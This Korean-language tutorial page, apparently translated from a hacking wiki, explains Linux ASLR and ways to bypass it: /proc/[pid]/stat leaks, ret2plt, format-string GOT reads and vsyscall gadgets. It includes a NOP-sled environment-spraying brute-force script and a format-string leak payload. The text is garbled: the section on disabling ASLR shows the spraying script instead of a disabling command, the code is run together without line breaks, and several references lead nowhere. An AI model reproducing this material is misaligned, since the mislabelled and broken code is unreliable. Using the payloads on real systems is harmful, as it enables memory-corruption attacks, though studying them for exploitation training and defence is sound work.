**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 메모리 주소를 무작위로 설정합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 상당히 어려워져 공격자가 스택, 힙, 라이브러리 등을 예측하는 것을 방지하여 특정 유형의 공격, 특히 버퍼 오버플로우를 완화합니다.
ASLR 상태 확인
Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:
0: 무작위화 없음. 모든 것이 정적입니다.
1: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
2: 완전한 무작위화. 보수적인 무작위화에 의해 무작위화되는 요소에 추가하여 brk()를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다:
cat/proc/sys/kernel/randomize_va_space
ASLR 비활성화
ASLR를 비활성화하려면 /proc/sys/kernel/randomize_va_space의 값을 0으로 설정합니다. ASLR를 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:
import subprocessimport traceback# Start the processnop =b"\xD5\x1F\x20\x03"# ARM64 NOP transposedn_nops =int(128000/4)shellcode_env_var = nop * n_nops# Define the environment variables you want to setenv_vars ={'a': shellcode_env_var,'b': shellcode_env_var,'c': shellcode_env_var,'d': shellcode_env_var,'e': shellcode_env_var,'f': shellcode_env_var,'g': shellcode_env_var,'h': shellcode_env_var,'i': shellcode_env_var,'j': shellcode_env_var,'k': shellcode_env_var,'l': shellcode_env_var,'m': shellcode_env_var,'n': shellcode_env_var,'o': shellcode_env_var,'p': shellcode_env_var,}cont =0whileTrue:cont +=1if cont %10000==0:breakprint(cont, end="\r")# Define the path to your binarybinary_path ='./aslr-testing'try:process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)output = process.communicate()[0]if"0xd5"instr(output):print(str(cont) +" -> "+ output)exceptExceptionas e:print(e)print(traceback.format_exc())pass
로컬 정보 (/proc/[pid]/stat)
프로세스의 /proc/[pid]/stat 파일은 항상 모든 사람이 읽을 수 있으며 흥미로운 정보를 포함하고 있습니다:
startcode 및 endcode: 이진 파일의 TEXT와 관련된 위쪽 및 아래쪽 주소
startstack: 스택의 시작 주소
start_data 및 end_data: BSS가 있는 위쪽 및 아래쪽 주소
kstkesp 및 kstkeip: 현재 ESP 및 EIP 주소
arg_start 및 arg_end: cli arguments가 있는 위쪽 및 아래쪽 주소
env_start 및 env_end: 환경 변수가 있는 위쪽 및 아래쪽 주소
따라서, 공격자가 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 크래프트할 수 있는 다른 입력에서 오버플로우를 기대한다면 이 파일에서 일부 주소를 얻어 해당 주소로부터 오프셋을 구성할 수 있습니다.
Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 여기의 예제에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하세요).
버퍼 오버플로우를 악용하여 ret2plt를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요:
포맷 문자열 임의 읽기
ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의 읽기가 가능하면 libc 함수의 주소를 GOT에서 유출할 수 있습니다. 다음은 여기서의 예시입니다:
payload =p32(elf.got['puts'])# p64() if 64-bitpayload +=b'|'payload +=b'%3$s'# The third parameter points at the start of the buffer# this part is only relevant if you need to call the main function againpayload = payload.ljust(40, b'A')# 40 is the offset until you're overwriting the instruction pointerpayload +=p32(elf.symbols['main'])
다음 위치에서 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다:
Ret2ret & Ret2pop
스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오:
vsyscall
vsyscall 메커니즘은 일부 시스템 호출을 사용자 공간에서 실행하여 성능을 향상시키는 데 사용됩니다. 이러한 시스템 호출은 기본적으로 커널의 일부이지만 vsyscalls의 주요 장점은 고정 주소에 있습니다. 이러한 고정된 특성으로 인해 공격자는 주소를 확인하고 악용에 사용하기 위해 정보 누출 취약점이 필요하지 않습니다.
그러나 여기에는 특별히 흥미로운 가젯이 없을 것입니다 (예를 들어 ret;과 같은 것을 얻을 수는 있습니다)
예를 들어, 공격자는 악용 내에서 주소 0xffffffffff600800를 사용할 수 있습니다. ret 명령으로 직접 이동을 시도하면 몇 가지 가젯을 실행한 후 불안정성이나 충돌로 이어질 수 있지만, vsyscall 섹션에서 제공되는 syscall의 시작으로 이동하는 것은 성공할 수 있습니다. 공격자가 실행을 vsyscall 주소로 이끄는 ROP 가젯을 신중하게 배치함으로써, 이 악용 부분의 ASLR 우회 없이 코드 실행을 달성할 수 있습니다.